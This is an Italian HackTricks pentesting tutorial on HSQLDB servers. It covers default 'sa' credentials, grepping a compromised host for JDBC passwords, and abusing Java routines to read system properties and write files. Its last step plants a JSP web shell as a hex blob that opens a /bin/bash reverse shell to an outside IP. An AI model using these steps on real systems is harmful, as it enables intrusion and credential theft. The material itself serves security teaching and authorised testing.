5.5 KiB
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di base
HSQLDB (HyperSQL DataBase) è il principale sistema di database relazionale SQL scritto in Java. Offre un motore di database piccolo, veloce, multithreaded e transazionale con tabelle in memoria e su disco e supporta modalità incorporate e server.
Porta predefinita: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informazioni
Impostazioni predefinite
Nota che di default questo servizio probabilmente viene eseguito in memoria o è collegato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di ottenere privilegi elevati.
Le credenziali predefinite di solito sono sa
con una password vuota.
Se hai sfruttato un altro servizio, cerca possibili credenziali utilizzando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Nota attentamente il nome del database: ne avrai bisogno per connetterti.
Raccolta informazioni
Connettiti all'istanza del database scaricando HSQLDB e estraendo hsqldb/lib/hsqldb.jar
. Avvia l'app GUI (eww) utilizzando java -jar hsqldb.jar
e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Trucchi
Routine del linguaggio Java
Possiamo chiamare i metodi statici di una classe Java da HSQLDB utilizzando le Routine del linguaggio Java. Tieni presente che la classe chiamata deve essere nel classpath dell'applicazione.
Le JRT possono essere funzioni
o procedure
. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione VALUES
.
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo utilizzare una procedura invocata con l'istruzione CALL
.
Lettura delle proprietà di sistema Java
Crea la funzione:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Esegui la funzione:
VALUES(getsystemproperty('user.name'))
Puoi trovare un elenco delle proprietà di sistema qui.
Scrivere il contenuto su un file
Puoi utilizzare il gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
situato nel JDK (caricato automaticamente nel classpath dell'applicazione) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. Nota la dimensione massima di 1024 byte.
Creare la procedura:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Esegui procedura:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.